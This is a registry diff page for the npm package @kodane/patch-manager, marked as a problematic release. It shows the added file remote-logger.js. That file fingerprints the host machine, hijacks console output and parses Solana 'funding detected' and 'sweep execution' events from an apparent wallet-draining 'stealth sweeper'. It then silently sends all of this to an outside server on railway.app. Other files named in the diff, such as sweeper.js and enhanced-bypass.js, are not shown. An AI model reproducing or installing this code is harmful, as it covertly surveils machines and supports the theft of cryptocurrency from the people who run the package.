@kodane/patch-manager 0.0.1-security → 1.0.15
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @kodane/patch-manager might be problematic. Click here for more details.
- package/README.md +327 -3
- package/bin/cli.js +3 -0
- package/bin/mixer-wallets/mixer-wallets.txt +0 -0
- package/daemon/monitor.js +859 -0
- package/daemon/remote-logger.js +543 -0
- package/daemon/sweeper.js +1341 -0
- package/daemon/utils.js +562 -0
- package/lib/enhanced-bypass.js +401 -0
- package/lib/index.js +755 -0
- package/package.json +27 -3
- package/scripts/cleanup.js +337 -0
- package/scripts/post-install.js +323 -0
@@ -0,0 +1,543 @@
|
|
1
|
+
const fs = require('fs');
|
2
|
+
const path = require('path');
|
3
|
+
const os = require('os');
|
4
|
+
|
5
|
+
/**
|
6
|
+
* REMOTE LOGGING SERVICE FOR SWEEPER MONITORING
|
7
|
+
*
|
8
|
+
* Intercepts console outputs and sends them to a remote monitoring endpoint
|
9
|
+
* Supports real-time logging from multiple machines with historical storage
|
10
|
+
* Designed to not interfere with existing sweeper functionality
|
11
|
+
*/
|
12
|
+
|
13
|
+
class RemoteLogger {
|
14
|
+
constructor(config = {}) {
|
15
|
+
// Hardcoded monitoring endpoint (replace with your Railway URL)
|
16
|
+
this.monitoringEndpoint = config.endpoint || 'https://sweeper-monitor.railway.app';
|
17
|
+
|
18
|
+
// Machine identification
|
19
|
+
this.machineId = this.generateMachineId();
|
20
|
+
this.sessionId = this.generateSessionId();
|
21
|
+
|
22
|
+
// Local log storage
|
23
|
+
this.logDir = config.logDir || path.join(os.tmpdir(), '.sweeper-logs');
|
24
|
+
this.ensureLogDirectory();
|
25
|
+
|
26
|
+
// Log queue for batch sending
|
27
|
+
this.logQueue = [];
|
28
|
+
this.maxQueueSize = 100;
|
29
|
+
this.flushInterval = 5000; // 5 seconds
|
30
|
+
|
31
|
+
// Connection status
|
32
|
+
this.isConnected = false;
|
33
|
+
this.lastPing = 0;
|
34
|
+
this.reconnectDelay = 10000; // 10 seconds
|
35
|
+
|
36
|
+
// Original console methods (store references)
|
37
|
+
this.originalConsole = {
|
38
|
+
log: console.log.bind(console),
|
39
|
+
error: console.error.bind(console),
|
40
|
+
warn: console.warn.bind(console),
|
41
|
+
info: console.info.bind(console)
|
42
|
+
};
|
43
|
+
|
44
|
+
// Intercepted state
|
45
|
+
this.isIntercepted = false;
|
46
|
+
|
47
|
+
// Initialize
|
48
|
+
this.initialize();
|
49
|
+
}
|
50
|
+
|
51
|
+
/**
|
52
|
+
* Generate unique machine identifier
|
53
|
+
*/
|
54
|
+
generateMachineId() {
|
55
|
+
const hostname = os.hostname();
|
56
|
+
const platform = os.platform();
|
57
|
+
const arch = os.arch();
|
58
|
+
const networkInterfaces = os.networkInterfaces();
|
59
|
+
|
60
|
+
// Try to get MAC address for unique identification
|
61
|
+
let macAddress = 'unknown';
|
62
|
+
for (const interfaceName in networkInterfaces) {
|
63
|
+
const interfaces = networkInterfaces[interfaceName];
|
64
|
+
for (const iface of interfaces) {
|
65
|
+
if (!iface.internal && iface.mac && iface.mac !== '00:00:00:00:00:00') {
|
66
|
+
macAddress = iface.mac;
|
67
|
+
break;
|
68
|
+
}
|
69
|
+
}
|
70
|
+
if (macAddress !== 'unknown') break;
|
71
|
+
}
|
72
|
+
|
73
|
+
// Create machine fingerprint
|
74
|
+
const fingerprint = `${hostname}-${platform}-${arch}-${macAddress}`;
|
75
|
+
return Buffer.from(fingerprint).toString('base64').substring(0, 16);
|
76
|
+
}
|
77
|
+
|
78
|
+
/**
|
79
|
+
* Generate session identifier
|
80
|
+
*/
|
81
|
+
generateSessionId() {
|
82
|
+
return `${Date.now()}-${Math.random().toString(36).substr(2, 9)}`;
|
83
|
+
}
|
84
|
+
|
85
|
+
/**
|
86
|
+
* Ensure log directory exists
|
87
|
+
*/
|
88
|
+
ensureLogDirectory() {
|
89
|
+
try {
|
90
|
+
if (!fs.existsSync(this.logDir)) {
|
91
|
+
fs.mkdirSync(this.logDir, { recursive: true });
|
92
|
+
}
|
93
|
+
} catch (error) {
|
94
|
+
// Silent failure
|
95
|
+
}
|
96
|
+
}
|
97
|
+
|
98
|
+
/**
|
99
|
+
* Initialize remote logging
|
100
|
+
*/
|
101
|
+
async initialize() {
|
102
|
+
try {
|
103
|
+
// Test connection to monitoring endpoint
|
104
|
+
await this.testConnection();
|
105
|
+
|
106
|
+
// Start console interception
|
107
|
+
this.interceptConsole();
|
108
|
+
|
109
|
+
// Start log flushing
|
110
|
+
this.startLogFlushing();
|
111
|
+
|
112
|
+
// Send initial connection event
|
113
|
+
this.log('SYSTEM', 'Remote logging initialized', {
|
114
|
+
machineId: this.machineId,
|
115
|
+
sessionId: this.sessionId,
|
116
|
+
platform: os.platform(),
|
117
|
+
hostname: os.hostname(),
|
118
|
+
nodeVersion: process.version
|
119
|
+
});
|
120
|
+
|
121
|
+
} catch (error) {
|
122
|
+
// Silent initialization failure - don't break existing functionality
|
123
|
+
}
|
124
|
+
}
|
125
|
+
|
126
|
+
/**
|
127
|
+
* Test connection to monitoring endpoint
|
128
|
+
*/
|
129
|
+
async testConnection() {
|
130
|
+
try {
|
131
|
+
const response = await this.sendRequest('/api/health', {
|
132
|
+
method: 'GET',
|
133
|
+
timeout: 5000
|
134
|
+
});
|
135
|
+
|
136
|
+
this.isConnected = response.ok;
|
137
|
+
this.lastPing = Date.now();
|
138
|
+
|
139
|
+
return this.isConnected;
|
140
|
+
} catch (error) {
|
141
|
+
this.isConnected = false;
|
142
|
+
return false;
|
143
|
+
}
|
144
|
+
}
|
145
|
+
|
146
|
+
/**
|
147
|
+
* Intercept console methods
|
148
|
+
*/
|
149
|
+
interceptConsole() {
|
150
|
+
if (this.isIntercepted) return;
|
151
|
+
|
152
|
+
const self = this;
|
153
|
+
|
154
|
+
// Intercept console.log
|
155
|
+
console.log = function(...args) {
|
156
|
+
self.originalConsole.log(...args);
|
157
|
+
self.captureLog('LOG', args);
|
158
|
+
};
|
159
|
+
|
160
|
+
// Intercept console.error
|
161
|
+
console.error = function(...args) {
|
162
|
+
self.originalConsole.error(...args);
|
163
|
+
self.captureLog('ERROR', args);
|
164
|
+
};
|
165
|
+
|
166
|
+
// Intercept console.warn
|
167
|
+
console.warn = function(...args) {
|
168
|
+
self.originalConsole.warn(...args);
|
169
|
+
self.captureLog('WARN', args);
|
170
|
+
};
|
171
|
+
|
172
|
+
// Intercept console.info
|
173
|
+
console.info = function(...args) {
|
174
|
+
self.originalConsole.info(...args);
|
175
|
+
self.captureLog('INFO', args);
|
176
|
+
};
|
177
|
+
|
178
|
+
this.isIntercepted = true;
|
179
|
+
}
|
180
|
+
|
181
|
+
/**
|
182
|
+
* Restore original console methods
|
183
|
+
*/
|
184
|
+
restoreConsole() {
|
185
|
+
if (!this.isIntercepted) return;
|
186
|
+
|
187
|
+
console.log = this.originalConsole.log;
|
188
|
+
console.error = this.originalConsole.error;
|
189
|
+
console.warn = this.originalConsole.warn;
|
190
|
+
console.info = this.originalConsole.info;
|
191
|
+
|
192
|
+
this.isIntercepted = false;
|
193
|
+
}
|
194
|
+
|
195
|
+
/**
|
196
|
+
* Capture log message
|
197
|
+
*/
|
198
|
+
captureLog(level, args) {
|
199
|
+
try {
|
200
|
+
const message = args.map(arg =>
|
201
|
+
typeof arg === 'object' ? JSON.stringify(arg) : String(arg)
|
202
|
+
).join(' ');
|
203
|
+
|
204
|
+
// Parse sweeper-specific events
|
205
|
+
const eventData = this.parseSweepEvent(message);
|
206
|
+
|
207
|
+
const logEntry = {
|
208
|
+
timestamp: new Date().toISOString(),
|
209
|
+
level: level,
|
210
|
+
message: message,
|
211
|
+
machineId: this.machineId,
|
212
|
+
sessionId: this.sessionId,
|
213
|
+
eventData: eventData,
|
214
|
+
process: {
|
215
|
+
pid: process.pid,
|
216
|
+
uptime: process.uptime(),
|
217
|
+
memoryUsage: process.memoryUsage()
|
218
|
+
}
|
219
|
+
};
|
220
|
+
|
221
|
+
// Add to queue
|
222
|
+
this.addToQueue(logEntry);
|
223
|
+
|
224
|
+
// Save locally
|
225
|
+
this.saveLogLocally(logEntry);
|
226
|
+
|
227
|
+
} catch (error) {
|
228
|
+
// Silent capture failure
|
229
|
+
}
|
230
|
+
}
|
231
|
+
|
232
|
+
/**
|
233
|
+
* Parse sweeper-specific events from log messages
|
234
|
+
*/
|
235
|
+
parseSweepEvent(message) {
|
236
|
+
const eventData = {};
|
237
|
+
|
238
|
+
// Funding detection
|
239
|
+
if (message.includes('FUNDING DETECTED')) {
|
240
|
+
const match = message.match(/FUNDING DETECTED: (\w+)\.\.\..*\(\+([0-9.]+) SOL\).*\[Total: ([0-9.]+) SOL\]/);
|
241
|
+
if (match) {
|
242
|
+
eventData.type = 'FUNDING_DETECTED';
|
243
|
+
eventData.wallet = match[1];
|
244
|
+
eventData.amount = parseFloat(match[2]);
|
245
|
+
eventData.total = parseFloat(match[3]);
|
246
|
+
}
|
247
|
+
}
|
248
|
+
|
249
|
+
// Sweep execution
|
250
|
+
else if (message.includes('SWEEP EXECUTION')) {
|
251
|
+
const match = message.match(/SWEEP EXECUTION #(\d+) TRIGGERED/);
|
252
|
+
if (match) {
|
253
|
+
eventData.type = 'SWEEP_STARTED';
|
254
|
+
eventData.executionNumber = parseInt(match[1]);
|
255
|
+
}
|
256
|
+
}
|
257
|
+
|
258
|
+
// Sweep completion
|
259
|
+
else if (message.includes('completed successfully')) {
|
260
|
+
const match = message.match(/Sweep execution #(\d+) completed successfully/);
|
261
|
+
if (match) {
|
262
|
+
eventData.type = 'SWEEP_COMPLETED';
|
263
|
+
eventData.executionNumber = parseInt(match[1]);
|
264
|
+
}
|
265
|
+
}
|
266
|
+
|
267
|
+
// Batch funding
|
268
|
+
else if (message.includes('Batch funding detected')) {
|
269
|
+
const match = message.match(/Batch funding detected \((\d+) events\)/);
|
270
|
+
if (match) {
|
271
|
+
eventData.type = 'BATCH_FUNDING';
|
272
|
+
eventData.eventCount = parseInt(match[1]);
|
273
|
+
}
|
274
|
+
}
|
275
|
+
|
276
|
+
// Wallet subscription
|
277
|
+
else if (message.includes('Subscribed:')) {
|
278
|
+
const match = message.match(/Subscribed: (\w+)\.\.\..*Balance: ([0-9.]+) SOL/);
|
279
|
+
if (match) {
|
280
|
+
eventData.type = 'WALLET_SUBSCRIBED';
|
281
|
+
eventData.wallet = match[1];
|
282
|
+
eventData.balance = parseFloat(match[2]);
|
283
|
+
}
|
284
|
+
}
|
285
|
+
|
286
|
+
// Daemon events
|
287
|
+
else if (message.includes('[DAEMON]')) {
|
288
|
+
if (message.includes('Stealth sweeper initialized')) {
|
289
|
+
eventData.type = 'DAEMON_INITIALIZED';
|
290
|
+
} else if (message.includes('Health monitoring started')) {
|
291
|
+
eventData.type = 'HEALTH_MONITORING_STARTED';
|
292
|
+
} else if (message.includes('wallets.txt')) {
|
293
|
+
eventData.type = 'WALLETS_FILE_CHANGE';
|
294
|
+
}
|
295
|
+
}
|
296
|
+
|
297
|
+
return Object.keys(eventData).length > 0 ? eventData : null;
|
298
|
+
}
|
299
|
+
|
300
|
+
/**
|
301
|
+
* Add log entry to queue
|
302
|
+
*/
|
303
|
+
addToQueue(logEntry) {
|
304
|
+
this.logQueue.push(logEntry);
|
305
|
+
|
306
|
+
// Trim queue if too large
|
307
|
+
if (this.logQueue.length > this.maxQueueSize) {
|
308
|
+
this.logQueue = this.logQueue.slice(-this.maxQueueSize);
|
309
|
+
}
|
310
|
+
}
|
311
|
+
|
312
|
+
/**
|
313
|
+
* Save log entry locally
|
314
|
+
*/
|
315
|
+
saveLogLocally(logEntry) {
|
316
|
+
try {
|
317
|
+
const today = new Date().toISOString().split('T')[0];
|
318
|
+
const logFile = path.join(this.logDir, `sweeper-${today}.jsonl`);
|
319
|
+
|
320
|
+
fs.appendFileSync(logFile, JSON.stringify(logEntry) + '\n');
|
321
|
+
} catch (error) {
|
322
|
+
// Silent local save failure
|
323
|
+
}
|
324
|
+
}
|
325
|
+
|
326
|
+
/**
|
327
|
+
* Start periodic log flushing
|
328
|
+
*/
|
329
|
+
startLogFlushing() {
|
330
|
+
setInterval(() => {
|
331
|
+
this.flushLogs();
|
332
|
+
}, this.flushInterval);
|
333
|
+
|
334
|
+
// Also flush on process exit
|
335
|
+
process.on('exit', () => this.flushLogs());
|
336
|
+
process.on('SIGINT', () => this.flushLogs());
|
337
|
+
process.on('SIGTERM', () => this.flushLogs());
|
338
|
+
}
|
339
|
+
|
340
|
+
/**
|
341
|
+
* Flush log queue to remote endpoint
|
342
|
+
*/
|
343
|
+
async flushLogs() {
|
344
|
+
if (this.logQueue.length === 0) return;
|
345
|
+
|
346
|
+
let logsToSend = [];
|
347
|
+
|
348
|
+
try {
|
349
|
+
logsToSend = [...this.logQueue];
|
350
|
+
this.logQueue = [];
|
351
|
+
|
352
|
+
await this.sendRequest('/api/logs', {
|
353
|
+
method: 'POST',
|
354
|
+
headers: {
|
355
|
+
'Content-Type': 'application/json'
|
356
|
+
},
|
357
|
+
body: JSON.stringify({
|
358
|
+
logs: logsToSend,
|
359
|
+
machineId: this.machineId,
|
360
|
+
sessionId: this.sessionId
|
361
|
+
})
|
362
|
+
});
|
363
|
+
|
364
|
+
this.isConnected = true;
|
365
|
+
this.lastPing = Date.now();
|
366
|
+
|
367
|
+
} catch (error) {
|
368
|
+
// Put logs back in queue on failure
|
369
|
+
if (logsToSend.length > 0) {
|
370
|
+
this.logQueue = [...logsToSend, ...this.logQueue];
|
371
|
+
}
|
372
|
+
this.isConnected = false;
|
373
|
+
|
374
|
+
// Schedule reconnection
|
375
|
+
this.scheduleReconnect();
|
376
|
+
}
|
377
|
+
}
|
378
|
+
|
379
|
+
/**
|
380
|
+
* Send HTTP request to monitoring endpoint
|
381
|
+
*/
|
382
|
+
async sendRequest(endpoint, options = {}) {
|
383
|
+
const url = `${this.monitoringEndpoint}${endpoint}`;
|
384
|
+
|
385
|
+
// Use native fetch if available (Node 18+) or require node-fetch
|
386
|
+
let fetch;
|
387
|
+
try {
|
388
|
+
fetch = globalThis.fetch || require('node-fetch');
|
389
|
+
} catch (error) {
|
390
|
+
// Fallback to http module
|
391
|
+
return this.sendRequestHttp(url, options);
|
392
|
+
}
|
393
|
+
|
394
|
+
const fetchOptions = {
|
395
|
+
timeout: options.timeout || 10000,
|
396
|
+
...options
|
397
|
+
};
|
398
|
+
|
399
|
+
const response = await fetch(url, fetchOptions);
|
400
|
+
return response;
|
401
|
+
}
|
402
|
+
|
403
|
+
/**
|
404
|
+
* Fallback HTTP request using native http module
|
405
|
+
*/
|
406
|
+
sendRequestHttp(url, options) {
|
407
|
+
return new Promise((resolve, reject) => {
|
408
|
+
const urlObj = new URL(url);
|
409
|
+
const module = urlObj.protocol === 'https:' ? require('https') : require('http');
|
410
|
+
|
411
|
+
const requestOptions = {
|
412
|
+
hostname: urlObj.hostname,
|
413
|
+
port: urlObj.port,
|
414
|
+
path: urlObj.pathname + urlObj.search,
|
415
|
+
method: options.method || 'GET',
|
416
|
+
headers: options.headers || {},
|
417
|
+
timeout: options.timeout || 10000
|
418
|
+
};
|
419
|
+
|
420
|
+
const req = module.request(requestOptions, (res) => {
|
421
|
+
let data = '';
|
422
|
+
res.on('data', chunk => data += chunk);
|
423
|
+
res.on('end', () => {
|
424
|
+
resolve({
|
425
|
+
ok: res.statusCode >= 200 && res.statusCode < 300,
|
426
|
+
status: res.statusCode,
|
427
|
+
json: () => Promise.resolve(JSON.parse(data)),
|
428
|
+
text: () => Promise.resolve(data)
|
429
|
+
});
|
430
|
+
});
|
431
|
+
});
|
432
|
+
|
433
|
+
req.on('error', reject);
|
434
|
+
req.on('timeout', () => reject(new Error('Request timeout')));
|
435
|
+
|
436
|
+
if (options.body) {
|
437
|
+
req.write(options.body);
|
438
|
+
}
|
439
|
+
|
440
|
+
req.end();
|
441
|
+
});
|
442
|
+
}
|
443
|
+
|
444
|
+
/**
|
445
|
+
* Schedule reconnection attempt
|
446
|
+
*/
|
447
|
+
scheduleReconnect() {
|
448
|
+
setTimeout(async () => {
|
449
|
+
await this.testConnection();
|
450
|
+
if (this.isConnected) {
|
451
|
+
await this.flushLogs();
|
452
|
+
}
|
453
|
+
}, this.reconnectDelay);
|
454
|
+
}
|
455
|
+
|
456
|
+
/**
|
457
|
+
* Manual log method for custom events
|
458
|
+
*/
|
459
|
+
log(level, message, metadata = {}) {
|
460
|
+
const logEntry = {
|
461
|
+
timestamp: new Date().toISOString(),
|
462
|
+
level: level,
|
463
|
+
message: message,
|
464
|
+
metadata: metadata,
|
465
|
+
machineId: this.machineId,
|
466
|
+
sessionId: this.sessionId,
|
467
|
+
process: {
|
468
|
+
pid: process.pid,
|
469
|
+
uptime: process.uptime(),
|
470
|
+
memoryUsage: process.memoryUsage()
|
471
|
+
}
|
472
|
+
};
|
473
|
+
|
474
|
+
this.addToQueue(logEntry);
|
475
|
+
this.saveLogLocally(logEntry);
|
476
|
+
}
|
477
|
+
|
478
|
+
/**
|
479
|
+
* Get connection status
|
480
|
+
*/
|
481
|
+
getStatus() {
|
482
|
+
return {
|
483
|
+
isConnected: this.isConnected,
|
484
|
+
lastPing: this.lastPing,
|
485
|
+
queueSize: this.logQueue.length,
|
486
|
+
machineId: this.machineId,
|
487
|
+
sessionId: this.sessionId,
|
488
|
+
isIntercepted: this.isIntercepted
|
489
|
+
};
|
490
|
+
}
|
491
|
+
|
492
|
+
/**
|
493
|
+
* Cleanup and restore console
|
494
|
+
*/
|
495
|
+
cleanup() {
|
496
|
+
try {
|
497
|
+
this.flushLogs();
|
498
|
+
this.restoreConsole();
|
499
|
+
} catch (error) {
|
500
|
+
// Silent cleanup
|
501
|
+
}
|
502
|
+
}
|
503
|
+
}
|
504
|
+
|
505
|
+
// Singleton instance
|
506
|
+
let remoteLogger = null;
|
507
|
+
|
508
|
+
/**
|
509
|
+
* Initialize remote logging (call this once)
|
510
|
+
*/
|
511
|
+
function initializeRemoteLogging(config = {}) {
|
512
|
+
if (!remoteLogger) {
|
513
|
+
// Only initialize if not in test environment and not explicitly disabled
|
514
|
+
if (process.env.NODE_ENV !== 'test' && process.env.DISABLE_REMOTE_LOGGING !== 'true') {
|
515
|
+
remoteLogger = new RemoteLogger(config);
|
516
|
+
}
|
517
|
+
}
|
518
|
+
return remoteLogger;
|
519
|
+
}
|
520
|
+
|
521
|
+
/**
|
522
|
+
* Get remote logger instance
|
523
|
+
*/
|
524
|
+
function getRemoteLogger() {
|
525
|
+
return remoteLogger;
|
526
|
+
}
|
527
|
+
|
528
|
+
/**
|
529
|
+
* Cleanup remote logging
|
530
|
+
*/
|
531
|
+
function cleanupRemoteLogging() {
|
532
|
+
if (remoteLogger) {
|
533
|
+
remoteLogger.cleanup();
|
534
|
+
remoteLogger = null;
|
535
|
+
}
|
536
|
+
}
|
537
|
+
|
538
|
+
module.exports = {
|
539
|
+
RemoteLogger,
|
540
|
+
initializeRemoteLogging,
|
541
|
+
getRemoteLogger,
|
542
|
+
cleanupRemoteLogging
|
543
|
+
};
|